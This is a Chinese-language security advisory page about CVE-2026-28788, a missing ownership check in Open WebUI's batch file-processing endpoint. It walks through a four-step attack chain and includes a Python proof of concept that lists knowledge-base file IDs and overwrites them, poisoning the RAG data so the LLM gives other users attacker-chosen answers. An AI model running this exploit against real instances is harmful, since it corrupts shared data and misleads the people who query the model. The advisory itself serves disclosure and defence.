IPBUF安全漏洞报告
English
CVE-2026-28788 CVSS 7.1 高危

CVE-2026-28788 Open WebUI 权限提升与文件覆盖漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-28788
漏洞类型
访问控制缺失
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

权限提升访问控制缺失Open WebUIRAGIDOR

漏洞概述

Open WebUI 0.8.6 之前的版本存在严重的访问控制缺失漏洞。由于 `/api/v1/retrieval/process/files/batch` 接口未进行必要的所有权校验,经过身份认证的低权限用户可利用获取的文件 UUID 覆盖任意文件内容。该漏洞导致从读取权限提升至写入权限,攻击者可通过篡改 RAG 数据源控制模型输出,误导其他用户。

技术细节

该漏洞源于 Open WebUI 在处理文件批量处理接口时的逻辑缺陷。在 0.8.6 版本之前,`/api/v1/retrieval/process/files/batch` 端点接收文件 ID 并处理内容,但系统未验证当前用户是否拥有请求文件的修改权限。攻击者首先通过 `GET /api/v1/knowledge/{id}/files` 接口获取共享知识库中文件的 UUID。随后,攻击者构造 POST 请求,利用获取的 UUID 向批量处理端点发送恶意数据。由于缺乏所有权检查,服务器接受请求并覆盖原文件内容。Open WebUI 使用 RAG 机制将这些文件内容提供给 LLM,因此攻击者可以通过篡改文件内容,诱导模型向其他查询该知识库的用户输出攻击者预设的信息,造成数据完整性破坏和潜在的信息误导。

攻击链分析

STEP 1
Discovery
攻击者登录系统,访问共享知识库,读取权限允许查看文件列表。
STEP 2
Enumeration
攻击者调用 GET /api/v1/knowledge/{id}/files 接口获取目标文件的 UUID。
STEP 3
Exploitation
攻击者利用获取的 UUID,向 POST /api/v1/retrieval/process/files/batch 发送请求,覆盖原文件内容。
STEP 4
Impact
系统通过 RAG 机制读取被篡改的文件,当其他用户询问相关问题时,大模型输出攻击者植入的恶意内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration TARGET_URL = "http://target-open-webui-url" API_KEY = "attacker_api_key" KNOWLEDGE_BASE_ID = "target_knowledge_id" headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } # Step 1: Enumerate files in the shared knowledge base list_files_url = f"{TARGET_URL}/api/v1/knowledge/{KNOWLEDGE_BASE_ID}/files" response = requests.get(list_files_url, headers=headers) file_ids = [item['id'] for item in response.json()] # Step 2: Exploit arbitrary file overwrite overwrite_url = f"{TARGET_URL}/api/v1/retrieval/process/files/batch" malicious_content = "Malicious data injected by attacker" payload = { "files": [ {"id": fid, "content": malicious_content} for fid in file_ids ] } # Send the overwrite request exploit_response = requests.post(overwrite_url, json=payload, headers=headers) if exploit_response.status_code == 200: print("Successfully overwritten files. RAG data poisoned.") else: print("Exploit failed.")

影响范围

Open WebUI < 0.8.6

防御指南

临时缓解措施
在升级修复前,建议严格限制对 Open WebUI 知识库功能的访问权限,仅允许可信内部用户使用。同时,管理员应开启日志审计,监控异常的批量文件修改操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表